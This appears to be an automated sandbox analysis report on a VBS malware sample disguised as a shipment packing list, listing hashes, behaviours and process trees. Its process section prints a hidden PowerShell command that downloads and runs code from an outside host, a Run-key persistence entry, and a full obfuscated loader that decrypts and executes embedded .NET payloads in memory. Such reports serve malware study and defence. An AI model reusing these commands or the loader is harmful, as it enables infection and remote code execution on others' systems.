Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
12-12-2024 14:26
Static task
static1
Behavioral task
behavioral1
Sample
Dec_2024 Shipment Packing List.vbs
Resource
win7-20240708-en
General
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Target
Dec_2024 Shipment Packing List.vbs
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Size
67KB
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MD5
0eccd58bd629893c13a11881a4707538
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SHA1
0c6eb5b4ca3e92c44ea8b8e9d0841189aeb7d554
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SHA256
b736623441dcad195ea6687281e8ead850c5b1c690d896f1d942abd52e1a86a5
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SHA512
25a8c044df81bd1e953922f897616eacb615e68e1a0e33d7606c1f4f42913c62826090e5ac4d9a7a62c20284c7206182df3b9999b7704aed692d7933015608b8
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SSDEEP
1536:hvakp9tDsWXM2yd+DeYq4Vi5QBCOXU3T18Foc:tJTZrXw+i++cCOXAjc
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2696 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftService = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\system.bat\"" WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2696 powershell.exe 2972 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2696 powershell.exe Token: SeDebugPrivilege 2972 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2220 wrote to memory of 2696 2220 WScript.exe 30 PID 2220 wrote to memory of 2696 2220 WScript.exe 30 PID 2220 wrote to memory of 2696 2220 WScript.exe 30 PID 2220 wrote to memory of 1324 2220 WScript.exe 33 PID 2220 wrote to memory of 1324 2220 WScript.exe 33 PID 2220 wrote to memory of 1324 2220 WScript.exe 33 PID 1324 wrote to memory of 584 1324 cmd.exe 35 PID 1324 wrote to memory of 584 1324 cmd.exe 35 PID 1324 wrote to memory of 584 1324 cmd.exe 35 PID 584 wrote to memory of 2960 584 cmd.exe 37 PID 584 wrote to memory of 2960 584 cmd.exe 37 PID 584 wrote to memory of 2960 584 cmd.exe 37 PID 584 wrote to memory of 2972 584 cmd.exe 38 PID 584 wrote to memory of 2972 584 cmd.exe 38 PID 584 wrote to memory of 2972 584 cmd.exe 38
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dec_2024 Shipment Packing List.vbs"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2696
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C:\Windows\System32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\system.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:584 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\system.bat';$jPKW='GefLjTtCufLjTrrfLjTentfLjTPrfLjTocfLjTefLjTsfLjTsfLjT'.Replace('fLjT', ''),'DGzhvecoGzhvmGzhvprGzhvesGzhvsGzhv'.Replace('Gzhv', ''),'TrwGpvanwGpvsfwGpvormwGpvFiwGpvnalwGpvBwGpvlowGpvcwGpvkwGpv'.Replace('wGpv', ''),'FrycyWomBycyWaycyWseycyW64ycyWStycyWrinycyWgycyW'.Replace('ycyW', ''),'LOfFmoOfFmadOfFm'.Replace('OfFm', ''),'ElekvoVmekvoVntkvoVAtkvoV'.Replace('kvoV', ''),'MauFSCinMuFSCoduFSCuuFSCluFSCeuFSC'.Replace('uFSC', ''),'CsxmfosxmfpysxmfTosxmf'.Replace('sxmf', ''),'IunLTnvunLTokunLTeunLT'.Replace('unLT', ''),'CreuAMJateuAMJDuAMJecuAMJrypuAMJtouAMJruAMJ'.Replace('uAMJ', ''),'EfIGrntfIGrryfIGrPoifIGrnfIGrtfIGr'.Replace('fIGr', ''),'RedTRKaddTRKLdTRKinedTRKsdTRK'.Replace('dTRK', ''),'CpvtehapvtengepvteExpvtetepvtensipvteonpvte'.Replace('pvte', ''),'SGeUwplGeUwitGeUw'.Replace('GeUw', '');powershell -w hidden;function KFqPw($gImbJ){$prorq=[System.Security.Cryptography.Aes]::Create();$prorq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$prorq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$prorq.Key=[System.Convert]::($jPKW[3])('S1WcM0oi7s1GQUenmEkEPvh6XGAuOA7dB1XSNaO25Eg=');$prorq.IV=[System.Convert]::($jPKW[3])('P2P4FP+QooR5iPseDFqb+g==');$ZXSvs=$prorq.($jPKW[9])();$lcuYL=$ZXSvs.($jPKW[2])($gImbJ,0,$gImbJ.Length);$ZXSvs.Dispose();$prorq.Dispose();$lcuYL;}function aFmgm($gImbJ){$Irchl=New-Object System.IO.MemoryStream(,$gImbJ);$Ylnvr=New-Object System.IO.MemoryStream;$DuOhJ=New-Object System.IO.Compression.GZipStream($Irchl,[IO.Compression.CompressionMode]::($jPKW[1]));$DuOhJ.($jPKW[7])($Ylnvr);$DuOhJ.Dispose();$Irchl.Dispose();$Ylnvr.Dispose();$Ylnvr.ToArray();}$VZjzI=[System.IO.File]::($jPKW[11])([Console]::Title);$UwubA=aFmgm (KFqPw ([Convert]::($jPKW[3])([System.Linq.Enumerable]::($jPKW[5])($VZjzI, 5).Substring(2))));$hRlCy=aFmgm (KFqPw ([Convert]::($jPKW[3])([System.Linq.Enumerable]::($jPKW[5])($VZjzI, 6).Substring(2))));[System.Reflection.Assembly]::($jPKW[4])([byte[]]$hRlCy).($jPKW[10]).($jPKW[8])($null,$null);[System.Reflection.Assembly]::($jPKW[4])([byte[]]$UwubA).($jPKW[10]).($jPKW[8])($null,$null); "4⤵PID:2960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2972
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
66KB
MD5c1cffa7be0703f50d79684e9ec4c9069
SHA1e359431db8731b7e5966463906d6e24df8515744
SHA256298ce1e8c043395147512b3c7f6e99b2bbfea09fd3c53a4fb34e5f384457f682
SHA5126eece0756aaf8a65b4a425329a9d0ec0d46f2ae4d13439a453c279560ccda356a24ac501cd4b55570e2caf0dec732ed51ddb69f71cdea936d0052fa9666d258c
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5d83d158e69f5f9401ec282cb93bd74c6
SHA1899d91a33f20a7cb2d3d0eb5d1f68e94b6f47db8
SHA2563baef189a79e57b025d39e00c2e9543a3079d8cd334ab856852ec44dad555444
SHA512a8d8f3c91b63e4250a628e9b1d9bee23c6f6d465ba1f3148440671e6c426141d606d8e411a501622e19f6e2df63fd1674119c392d4c95dc37458cfa4f3707738
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S4BDMFY2JNRUM8678FCV.temp
Filesize7KB
MD5e7e04728b4735bd6df988f6cd05e9cf5
SHA1a1cfd7e55250be9f980fc457255fb5a5f963215b
SHA25687e82c87a7ecd6bc91ed444f0901b3b244dec83b94aed02958ea1ec2cd34d96f
SHA512e4e5cc44f7f2fccc7a3f1a0cf7c05e7d14c03e6fb28189a097ce93a1edef52f56bb5a2e7a58f2693ad06c0028f8654d89d5b997e0737c48e016c8efcee06c3d4